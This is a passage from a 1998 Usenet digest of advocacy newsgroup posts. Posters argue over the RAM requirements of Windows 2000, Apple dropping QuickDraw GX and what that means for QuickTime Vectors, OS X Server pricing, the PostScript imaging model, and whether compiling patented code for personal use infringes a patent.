: have just placed 128MB in my main machine at home... so they're telling me
: that I'm going to have to eat up 25-50% of that RAM just to install and
: boot the fucking thing?!@# Uh, I don't think so, boys!@# From this
: moment forth, I have nothing good to say about Microsoft. I have defended
: WindowsNT when I felt it was proper to do so, and I have used it quite
: happily for some time. But if this is what I have to look forward too,
: I'll be more than happy to dump the Windows line for good. I don't care
: if Windows has the best graphics drivers for my 3-D applications... I
: don't care if Windows is the best candidate for a standard media OS... I
: don't care if Windows has the most application support out there... if
: these requirements are going to be the standard requirements for all of
: Microsoft's future up-and-coming products, then I will be quite proud to
: call myself an ex-Windows user.
: I mean _COME ON_ Microserfs[0]!@# Can you all really sit there, look at
: these requirements, and not think to yourself "hey, you know, this code is
: getting pretty bloated... there must be a better way to do this..."?!@#
: Doesn't it make you feel just a little silly to say "Windows2000 server
: will require 64MB to install and run" with a straight face?!@# That's
: like saying "I'll need about 30 gallons of gasoline to get 60 miles
: further down the road"!@# _GOOD GOD_ I am bewildered here, folks!@#
: Whether or not the Windows2000 line will run nicely in its required
: environment makes absolutely no difference to me whatsoever. Even if
: Windows 2000 Server runs flawlessly in 64MB of RAM, I will still not
: hesitate for a second to call it a Fucking Piece Of Shit(tm). If these
: requirements are really, truly what is needed to run these products, then
: I think I have been far too accepting, and everyone who has been screaming
: about "the morons in Redmond" have been right all along, and I was just a
: naive fool. And here I was complaining about the direction that Linux was
: moving in...
: Now I know for a _fact_, that I am moving to the NetBSD camp, and I'm sure
: I'll be taking a canteen fulla Linux with me.
: When I leave here, I am going to go home, back up my projects, wipe the
: Microsoft infestation off of my HDs, and install NetBSD.
: </RANT>
: [0] Not an insult... std. term referring to Microsoft's in-house coders.
: --
: .-----.
: |[_] :| Stephen S. Edwards II | http://www.primenet.com/~rakmount
: | = :| Support the shareware authors... register your software!
: | | Please send all flames, trolls, and complaints to /dev/toilet.
: |_..._| LUSER: I have a problem. ADMIN: Keep talking... I'm reloading.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: A problem with QuickTime Vectors and Apple's graphics strategy...
Date: 19 Nov 98 22:23:53 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B27A4B1E-2812E@206.165.43.102>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
To: "GX-Talk" <gx-talk@aimed.org>, "AIMED-Talk" <aimed-talk@aimed.org>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.mac.hypercard,
nntp://news.primenet.com/comp.sys.next.advocacy
Everyone likes to chuckle at my obsession with GX and yet...
Here's a question for you:
How does one preview the appearance of QuickTime Vector Graphics?
This is a serious question. LariSoftware used to charge about $100-200 for
Electrifier, which produced vectors using GX and then would translate them
into other formats as needed.
A quick check on their site reveals that they've gone after the
professional level companies by including lots of extras and Electrifier
Pro now costs $595.
One glaringly unanswered question on the QuickTime-dev list for the past
few days has been "how to create QT Vectors?"
Sooo...
Where's the entry-level QT Vectors application?
At one time, HyperCard 3.0 was touted as the ultimate QT Vectors and QTI
scripting application, but that appears to be gone.
So...
Where's the entry-level QT Vectors application?
Up until the release of MacOS 8.6, you could use a GX-based graphics app to
preview what QT VEctors would look like, and convert to the QuickTime
format using the GX codec (this may convert to vectors or to a bitmap -I'm
not sure -but it would be trivial to convert GX directly to QT since the
API is identical and you're assured of identical appearance in both the
creation and playback phases).
But Apple says that with MacOS 8.6, GX goes away.
So, where's the entry-level QT Vectors app?
Answer: there ain't any.
But can't we do it with the Carbon API?
Answer: the Carbon API doesn't follow the same color or transformation
model as GX/QT Vectors.
What about Yellow Box?
Answer: YB graphics is based on Carbon. Apple or someone else would STILL
have to take the QT Vectors format and convert that into something that
end-users can use in a graphics app.
Why is Apple getting rid of the ONLY graphics library that makes the
preview and creation of QuickTime Vectors (a major part of their important
cross-platform strategy, QuickTime), simple, easy and cheap?
Answer: You tell me.
Why would a company do away with something that increases the value of
Macintoshes as a content provider for Internet and multimedia software?
Answer: Does even Apple know?
Personally, I think that this situation is appalling (and lets not even
mention the less capable Carbon API graphics model that is being used
*instead of* the obviously superior GX API).
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: moncomm@NOSPAM.earthlink.net (Jamie Schrumpf)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: 20 Nov 1998 05:09:53 GMT
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <732i4r$r9n$1@nnrp03.primenet.com>
Content-Type: Text/Plain; charset=US-ASCII
Organization: Monrovia Communications
Mime-Version: 1.0
Message-ID: <732tj1$5sg$1@birch.prod.itd.earthlink.net>
In article <732i4r$r9n$1@nnrp03.primenet.com>, ja207030@primenet.com says...
>
>Allan Meidlein <allan.meidlein@bcstechnology.com> wrote:
>
>: Maybe you should realise that these requirements aren't that crazy; consider
>: for a moment that SCO UnixWare7 and Sun Solaris7 require a minimum of a
>: Pentium CPU, 32 Mb, and 0.5 - 1 Gb of disk space. And these are the BARE
>: minimum; using the CDE ( Common Desktop Environment ) with 32 Mb is
>: agonising If you're suggesting that these requirements are the result of
>: "bloated code," then how does one explain the requirements for Unix
>: servers?? Deal with it; the days of 16 Mb and Pentiums were over long ago.
>
>Well, assuming what you state is true, perhaps I have jumped the gun.
>However, it just seems insane for an OS to have such hefty hardware
>requirements... it's difficult for me to see exactly _why_ needing 64MB of
>RAM to use a server makes sense. If I am just being highly irrational
>here, please tell me so.
>
Heh. One of the UNIX servers I use at work has 1.5 _gig_ of RAM in it. 64 meg
just about makes a good workstation.
Sometimes it's good to work for DoD.
--
-------------------------------------------------------------------------------
Jamie Schrumpf http://www.access.digex.net/~moncomm
From: mazulauf@localhost.localdomain ()
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: 20 Nov 1998 05:41:49 GMT
Organization: University of Utah - ACLIS
Message-ID: <slrn75a0cd.fog.mazulauf@grumpy.met.utah.edu>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com>
NNTP-Posting-Date: 20 Nov 1998 05:41:49 GMT
On 20 Nov 1998 04:23:27 GMT, Sal Denaro <sal@panix.com> wrote:
>
>I would be shocked if the price was under $500. The term "server" was
>added for a reason; I very much doubt that Apple thinks that OSXS will
>sell in large numbers.
They sure won't sell many copies if it's priced like that. Unfortunately,
I agree with you and expect an unreasonably high price.
> Maybe a free copy of OSX would be enough to get a bunch
>of those 040 and Nubus PPC Mac users to upgrade?
Speaking as a "disgruntled NuBus PowerMac owner", a gesture like this would
be necessary, but not sufficient. I no longer have faith in Apple's ability
to do much of anything right anymore. They're going to need to rebuild my
confidence in them before I plunk my money down on one of their machines.
Mike
--
Mike Zulauf
mazulauf@atmos.met.utah.edu
From: "Stephen Kwasniak" <skwasniak@westpac.com.au>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: 20 Nov 1998 05:55:09 GMT
Organization: Westpac
Message-ID: <01be1452$1e5eb6b0$a007280a@ntw_bmladmin>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <732i4r$r9n$1@nnrp03.primenet.com> <slrn759k3h.n3m.float@interport.net>
sure NT is bloatware
but so is all of MS other products
don't you think that 90% of users would be happy enough to use wordpad to
create documents? who the *hell* uses/needs all those fancy word bits and
pieces? this is just one example of MS bloatware. of course MS has to
market all the extra bits and pieces so that they look like they're doing
*something*, and (even more so) that you'll have to shell out more $$$ to
buy the "latest" version. this technique applies just as well to os as to
apps. I support 3.51 on my servers, I have not and will not upgrade to 4.0
just for the sake of new features which I don't want/need.
--
Stephen
//=====================//
It was like that when I got there!
//=====================//
void <float@interport.net> wrote in article
<slrn759k3h.n3m.float@interport.net>...
> On 20 Nov 1998 01:54:35 GMT, Stephen Edwards <ja207030@primenet.com>
wrote:
> >Allan Meidlein <allan.meidlein@bcstechnology.com> wrote:
> >
> >: Maybe you should realise that these requirements aren't that crazy;
consider
> >: for a moment that SCO UnixWare7 and Sun Solaris7 require a minimum of
a
> >: Pentium CPU, 32 Mb, and 0.5 - 1 Gb of disk space. And these are the
BARE
> >: minimum; using the CDE ( Common Desktop Environment ) with 32 Mb is
> >: agonising.
> [*snip*]
>
> >Well, assuming what you state is true, perhaps I have jumped the gun.
> [*snip*]
>
> If you're using the CDE, it's no longer a server. Depending what you're
> serving, there's no reason 16 MB couldn't be sufficient for a unix
> machine.
>
> I think there are two reasons Microsoft's numbers are high:
>
> 1) Their software is bloated.
> 2) It's part of their one-size-fits-all marketing philosophy.
>
> --
>
> Ben
>
> "You have your mind on computers, it seems."
>
From: user@this.here.com (inphlux)
Newsgroups: comp.sys.next.advocacy
Subject: crazy idea but ah....m68k
Message-ID: <user-2011980144560001@dub234042.columbus.rr.com>
Organization: lotek - www.lotek.org
Date: Fri, 20 Nov 1998 01:44:56 -0500
NNTP-Posting-Date: Fri, 20 Nov 1998 01:48:16 EDT
From the MWSF lineup:
"Apple Computer presents a revealing look at their system software
strategy of the future. You'll learn about directions for 68000, PowerPC
and G3 systems and hear what important modern operating system features
Apple will be providing in coming releases. Get-up-to-date on the System
8.5 and Mac OS X in this informative session."
With MS and Citrix rolling out vnc-like windowing clients for old 3.1
boxes to work with NT servers, ya think apple might have something similar
in its vapor cloud somewhere? We know NEXT's OS ran on m68k, and perhaps
some sort of thin yellow-box client could be worked up for old 68k macs...
ix
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <3652920B.A05B2B69@gsfc.nasa.gov> <ayC42.2355$rY3.5672199@news.rdc1.sdca.home.com> <72vggh$rqs$1@coward.cc.utah.edu>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <3654464d.0@nnrp1.news.uk.psi.net>
Date: 19 Nov 98 16:24:45 GMT
mgiddings@nospam.ypc.net wrote:
>I think it's time to reconsider Linux, now that it's closer to prime
>time... (I just wish I didn't hate X-windows so much).
GNUstep on Linux is just about usable now - the foundation library is
in very good shape (almost complete), and the appkit/gui library has
just reached the usable stage (ie it's about as usable as an X-windows
toolkit, but still missing a lot of the good stuff in the AppKit).
From: mmccullo@nospam.net (Michael McCulloch)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Fri, 20 Nov 1998 06:46:12 GMT
Organization: ICX Online, Inc.
Message-ID: <36550c88.17937362@news.icx.net>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <732sko$a4e@shelob.afs.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 20 Nov 1998 06:46:56 GMT
"Greg Anderson" <greg@afs.com> wrote:
>Barring a miracle, the die is cast: Snake-eyes and boxcars. Curiously, I
>can't even bring myself to get angry about it anymore.
Congrats Greg! You have finally recovered from the NeXT religion. The
absence of anger is a key indicator!
Seriously, I can sympathize with your situation. I was a potential
customer for your apps, but apparently Apple/NeXT won't allow me the
privilege.
Am I the only person who has just about had enough with the whole
computer thing? Selling guitars sounds like more fun as a career
choice. Microsoft has turned software development into a commodity
skill. Programmers now face the same economic pressures as did US
assembly lines of the 80's.
Michael McCulloch
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
From: nagle@netcom.com (John Nagle)
Subject: Re: A problem with QuickTime Vectors and Apple's graphics strategy...
Message-ID: <nagleF2pJuo.3s6@netcom.com>
Organization: ICGNetcom
References: <B27A4B1E-2812E@206.165.43.102>
Date: Fri, 20 Nov 1998 06:40:00 GMT
Sender: nagle@netcom6.netcom.com
"Lawson English" <english@primenet.com> writes:
>Everyone likes to chuckle at my obsession with GX and yet...
>Here's a question for you:
>How does one preview the appearance of QuickTime Vector Graphics?
For that matter, did Apple ever get a 3D strategy? QuickDraw 3D?
OpenGL? Direct-X? What?
John Nagle
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: A problem with QuickTime Vectors and Apple's graphics
strategy...
Date: 19 Nov 98 23:54:13 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B27A6034-775B2@206.165.43.102>
References: <nagleF2pJuo.3s6@netcom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
To: "John Nagle" <nagle@netcom.com>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.mac.hypercard,
nntp://news.primenet.com/comp.sys.next.advocacy
John Nagle <nagle@netcom.com> said:
>"Lawson English" <english@primenet.com> writes:
>>Everyone likes to chuckle at my obsession with GX and yet...
>>Here's a question for you:
>>How does one preview the appearance of QuickTime Vector Graphics?
>
> For that matter, did Apple ever get a 3D strategy? QuickDraw 3D?
>OpenGL? Direct-X? What?
RenderMan, obviously...
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: A problem with QuickTime Vectors and Apple's graphics
strategy...
Date: 20 Nov 98 01:01:25 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B27A6FE8-B265E@206.165.43.102>
References: <B27A4B1E-2812E@206.165.43.102>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.mac.hypercard,
nntp://news.primenet.com/comp.sys.next.advocacy
Lawson English <english@primenet.com> said:
>So, where's the entry-level QT Vectors app?
The cheapest that I have found so far is WebPainter 3, at
<http://www.totallyhip.com>
which appears to have very nice features for $89.95. But I'm betting that
the low-end shareware utilities simply won't appear for a good long while,
at least on the MacOS side, because there's not enough market to justify
spending the time and money to create a low-end QT vector utility.
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: nevin@CS.Arizona.EDU (Nevin ":-]" Liber)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: nice essay - a billion desktops
Date: Fri, 20 Nov 1998 02:47:41 -0600
Organization: University of Arizona, Tucson "It's a *DRY* Heat" Arizona
Message-ID: <nevin-2011980247420001@d149.focal8.interaccess.com>
References: <72s6bh$dfl$1@nnrp03.primenet.com>
In article <72s6bh$dfl$1@nnrp03.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
> There is a nice essay over at freshmeat:
> http://editorials.freshmeat.net/ajay981115/
Nice if you are willing to suspend your belief in reality. Other than that, ...
> Computing is becoming a world phenomenum. The author raises the
> interesting point that the inexpensiveness of Linux could give it a
> billion desktops in less affluent nations.
Which, of course, simplistically ignores how it got to be on 80%+ desktops
in the rest of the world.
He conveniently forgets that Microsoft has deals with just about every PC
manufacturer which pretty much insures that Windows will shipping on each
and every one of those boxes. From a customer point of view, Windows is
free, and much more hassle free than having to actually perform an
installation.
Even if we ignore that part of reality, piracy will be rampant, again
making the effective cost for a customer bring free.
Even if we ignore that, if Microsoft actually notices that it isn't
getting that market, they can just decide to dump/donate software to it,
driving the cost that the customor directly pays down to $0.
> Even if the billion number falls short, I thing the demographic trend
> should be considered.
I'm sure that most hardware manufacturers are considering it.
> It might mean for Apple that world wide share will
> never again go up.
It might mean for Apple that it will dominate world wide share. It's
trivial to throw around unsupportable statements like these around.
> I'm sure Apple can continue to make a business in affluent countries, but
> even there some customers might prefer a world platform.
Which, for better or for worse, would be Windows, not Linux.
I also noticed how you conveniently forgot to comment on his more
ludicrious claims such as "I believe that at a zero price, open source
projects with the sweet spot of the most important 20% of the features,
will have a better appeal for the least skilled computer users; people who
just want to do simple things like writing a letter, and who'd be pleased
to not pay more than $250 for hardware and software."
As if the least skilled computer users will give a damn if the source is
open, let alone preferring to program/compile/debug a TeX document with
Emacs instead of just typing it in with something like SimpleText or
WinPad. Keep dreaming...
--
Nevin ":-)" Liber <mailto:nevin@CS.Arizona.EDU> (847) 831-FLYS
From: Axel Boldt <axel@uni-paderborn.de>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: 20 Nov 1998 09:57:03 +0100
Organization: none
Message-ID: <xzq1zmyd9nk.fsf@uni-paderborn.de>
References: <7329lg$ot0$1@nnrp02.primenet.com>
<ee352.3248$%X5.8067515@newsgate.direct.ca>
"Allan Meidlein" <allan.meidlein@bcstechnology.com> writes:
> Deal with it; the days of 16 Mb and Pentiums were over long ago.
What are you guys smoking? The machine I bought four years ago was
absolutely perfect for me. And of course, it is still absolutely
perfect for me, because I haven't changed and the machine hasn't
changed. All that has changed are the little letters they print in
their advertising brochures, but why should I care?
--
Axel Boldt ** axel@uni-paderborn.de ** math-www.uni-paderborn.de/~axel/
Sponsor free software at the Free Software Bazaar visar.csustan.edu/bazaar/
From: Tom Ekeberg <tom.ekeberg@online.no.spam>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combattingLinux...."
Date: Fri, 20 Nov 1998 10:12:17 +0100
Organization: Telenor Online Public Access
Message-ID: <36553271.5E95E159@online.no.spam>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <364A072C.9341779B@mohawksoft.com> <Pine.GSO.4.05.9811191310070.14908-100000@sun> <732472$256$1@plo.sierra.com>
Mime-Version: 1.0
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NNTP-Posting-Date: 20 Nov 1998 09:12:22 GMT
Earl Malmrose wrote:
>
> >Can I infringe patents by compiling software for my own
> >personal non-commercial use?
>
> Yes.
>
> Patents are complete monopolies. You cannot use or recreate in any way what
> is patented, without either licensing it or infringing on the patent.
Is this really true in the U.S.? If I own, say, a CD player and decide to do
some tinkering on it in my own workshop, can I then end up infringing a patent?
This would not be true under Norwegian patent law, where it is specifically
stated that from the monopoly is excepted (among other things) use that is not
related to business or the management of business.
I assume the same is the case under EPC.
Would anybody care to comment on this? Thanks.
Tom Ekeberg
Oslo, Norway
Newsgroups: comp.sys.next.advocacy
From: brianw@sounds.wa.com (Brian Willoughby)
Subject: PostScript imaging model (was Re: Tweaking fonts)
Message-ID: <F2ppF0.FB7.0.scream@sounds.wa.com>
Organization: Sound Consulting, Bellevue, WA, USA
References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <3647DCC4.4792B75A@trilithon.com> <qc_12.116$rY3.724777@news.rdc1.sdc <72vbkd$i68$1@news.xmission.com>
Date: Fri, 20 Nov 1998 08:40:11 GMT
Mike Paquette <mpaque@ncal.verio.com> wrote:
> By the way, we're not doing 'Display PDF'. We're doing a graphics
> system that supports the PostScript imaging model (NOT language,
> IMAGING MODEL), and will support PDF as a document exchange format.
> ('A' document exchange format, not the sole format.)
While I understand the advantages of this pure imaging model, what I
don't understand is why Apple doesn't simply develop their own
PostScript language interpreter in house and include it as part of
MacOS X. It sure seems like a lot of work to develop the imaging
model "clean room" so they don't owe Adobe any royalties, so how much
additional work could it be to develop the language as well?
Obviously, the GhostScript code has earned the respect of quite a few.
I wouldn't suggest using the GhostScript language interpreter, partly
because I believe that the GS licensing wouldn't allow Apple to sell
an OS based in part on any GS code. But if the GhostScript
programmers can do a respectable job of writing a PostScript language
AND imaging model, then just what is stopping Apple from taking the
extra step?
Sure, I can hear people telling me that PDF is going to be on every
new printer, yada, yada, yada, but I don't want to buy a new printer
if I have an old PostScript-only box. Plus, even if the print
industry is moving away from PostScript per se, it still doesn't make
sense to cripple Mac OS X by having the print code and display code
differ. (And I'm the type who actually agrees with Apple's decision
to make the iMac without a floppy).
Oh well, gone are the days of writing an app by starting on the
display code and then adding only two lines to get the same images
printing on any old decent printer. Having the AppKit based on DPS
was quite powerful, I somehow doubt that it will be as cool to have
only the imaging model just to save a few bucks on licensing,
especially not if a cheaper OS means you have to buy a new printer
to get true WYSIWYG.
Another argument I hear is that PostScript has failed as a document
exchange format, and that the future is PDF. Well, I don't want to
be the stick in the mud that suggests Apple not look to the future,
I'm just saying that they shouldn't let go of the bird in the hand.
I also don't think that PostScript's usefulness as a document
exchange format has to do with anything - it was not designed for
this in any way - it's intended to be real-time to the output
device (or so that's how I see it). There is currently a big
investment in PostScript output devices, so I had rather see DPS on
my screen via software instead of having to upgrade my printer,
because I certainly want them both running the same graphics
programming language.
Gee, let me go a few steps further, and really open myself up to
the flames. NXHosting and server loops are beautiful things made
possible by the PostScript language. Having a single funnel for
all the imaging commands makes it so easy to network apps (can
you say: remote GUI front-end for hardware that you cannot access?),
but I'll agree that this is a serious performance bottleneck.
Isn't there a way to have my cake and eat it too? Oh, and those
Window Server loops; sure, most folks have a single processor anyway,
so sending language primitives to a Window Server for execution
seems to be a loss, especially with all the warnings in the Adobe
and other books about how it is better to handle things in your app
rather than download code to run on the window server, but I've
been using a NeXTdimension, with a RISC processor running the
PostScript interpreter in parallel to the processor running my app,
so I'm waiting for multi-processor systems that can actually win
by off-loading graphics code to a language interpreter.
Anyway, that's probably enough fuel for the fire...
--
Brian Willoughby Software Design - NEXTSTEP, OpenStep, Rhapsody, Mac OS X
Sound Consulting Apple Enterprise Alliance Partner
NeXTmail welcome
Apple is the registered trademark of Apple Computer, Inc. and Apple Records
From: Jeff Barber <Jeff.Barber@gsfc.nasa.gov>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: Fri, 20 Nov 1998 04:45:06 -0500
Organization: NASA Goddard Space Flight Center -- Greenbelt, Maryland USA
Message-ID: <36553A21.5C21B332@gsfc.nasa.gov>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <732i4r$r9n$1@nnrp03.primenet.com> <732tj1$5sg$1@birch.prod.itd.earthlink.net>
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Jamie Schrumpf wrote:
> Heh. One of the UNIX servers I use at work has 1.5 _gig_ of RAM in it.
> 64 meg just about makes a good workstation.
> Sometimes it's good to work for DoD.
3GB RAM and 24 processors is kinda fun too.
Now waiting for somebody from NSA, CIA, etc. to post that 128GB RAM
and 64 processors is a blast to work with. Followed by some guy from
Livermore stating that the fun really begins when you hit 1,000 processors. <g>
Jeff Barber
From: kroh@wt.net (Michael Kroh)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: 20 Nov 1998 10:36:39 GMT
Organization: World Trade Network, Inc.
Message-ID: <slrn75ahq8.go.kroh@localhost.localdomain>
References: <7329lg$ot0$1@nnrp02.primenet.com> <3654E24C.4D6C065A@unlimitnet.com>
On Thu, 19 Nov 1998 21:30:20 -0600, CRonTaB <crontab@unlimitnet.com> wrote:
>They have probably added over 2000 new easter eggs for everyones
>enjoyment into the source.
:) Ooohhhh... So that's what they call those big blue screens! Easter Eggs!
And silly me, I thought it was just lousy programming! ;)
kroh
>
>
>--
>Mr. Hat [crontab@unlimitnet.com]
From: malcolm@plsys.co.uk
Newsgroups: comp.sys.next.advocacy
Subject: Re: OSXS bad news, or "never give a zuckur a thumb"
Date: Fri, 20 Nov 1998 11:07:42 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <733ihn$aro$1@nnrp1.dejanews.com>
References: <7315of$5l0$1@sun27.hrz.tu-darmstadt.de>
In article <7315of$5l0$1@sun27.hrz.tu-darmstadt.de>,
neuss.nos-pam@informatik.th-darmstadt.de.nos-pam wrote:
> Hey, Malcolm is back :-) Hi Mmalc, good to see yah.
>
Hiya! :-)
Very busy at the moment, but will try to pop by more regularly when the
current rush is over.
Best wishes,
mmalc.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Date: Fri, 20 Nov 1998 07:29:55 -0500
From: tbrown@netset.com (Ted Brown)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combattingLinux...."
Message-ID: <tbrown-2011980729580001@mv134.axom.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <364A072C.9341779B@mohawksoft.com> <Pine.GSO.4.05.9811191310070.14908-100000@sun> <732472$256$1@plo.sierra.com>
Organization: Newsfeeds.com http://www.newsfeeds.com 60,000+ UNCENSORED Newsgroups.
In article <732472$256$1@plo.sierra.com>, "Earl Malmrose"
<earl.malmrose@nospam.sierra.com> wrote:
>Keith McClary 283-7907 wrote in message ...
>>Can you infringe patents by writing source code and publishing it?
>
>Yes.
>
>>Can I infringe patents by compiling software for my own
>>personal non-commercial use?
>
>Yes.
>
>Patents are complete monopolies. You cannot use or recreate in any way what
>is patented, without either licensing it or infringing on the patent.
This can't possibly be true, else a transcript of the patent would be
illegal to copy. Doesn't the patent cover the _use_ of the patent, and
not the knowledge in the patent? That is if the 'source code' was viewed
as a explanation/example of the patent, that alone wouldn't violate the
patent. If you can't, then it would seem that you couldn't write a
technical paper explaining the patent either. I thought that the purpose
of patents was the dissemination of knowledge, while insuring the patent
holder gets renumerated for the fruits of their genius? This
interpretation would say that patents inhibit the spread of knowledge,
and thus, should be abolished and a new system put in it's place.
--
tbrown@netset.com
---== http://www.newsfeeds.com - Largest Usenet Server In The World! ==---
---== http://www.newsfeeds.com - Largest Usenet Server In The World! ==---
From: Matthias Bethke <Matthias.Bethke@stud.uni-erlangen.de>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: Fri, 20 Nov 1998 15:12:14 +0100
Organization: Computational Linguistics, University of Erlangen - the people with a
CLUE
Message-ID: <365578BE.64202136@stud.uni-erlangen.de>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <732i4r$r9n$1@nnrp03.primenet.com> <732tj1$5sg$1@birch.prod.itd.earthlink.net>
Mime-Version: 1.0
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Jamie Schrumpf wrote:
> Heh. One of the UNIX servers I use at work has 1.5 _gig_ of RAM in it. 64 meg
> just about makes a good workstation.
Ah, I quite enjoy this 1G dual-CPU HP crate I'm working on right now as
well.
Not the fastest numbercruncher, but a monster in RAM throughput.
Together with its 24bit gfx board it feels a heck of a lot faster than
the 64M-equipped workstations all over the place here.
> Sometimes it's good to work for DoD.
Any decent university will do just as well :-)
ttyl!
Matthias
From: Chris Welch <chaotic42@digiscape.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: Fri, 20 Nov 1998 14:20:30 +0000
Organization: Mighty Albino Flying Warrors of Death
Message-ID: <36557AAE.2E229F28@digiscape.com>
References: <7329lg$ot0$1@nnrp02.primenet.com>
Mime-Version: 1.0
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Stephen Edwards wrote:
>
> [cross-posted, because I simply cannot believe what I am seeing, and I
> want to make sure I'm not just insane, or something]
>
> <RANT mode=wide-eyed stateofmind=rabid>
>
> First of all, Microsoft claimed that the products
>
> Windows95
> Windows98
> WindowsNT Workstation
> WindowsNT Server
>
> were too confusing for the average user to discriminate from. So using
> the names
>
> Windows2000 Professional
> Windows2000 Server
> Windows2000 Advanced Server
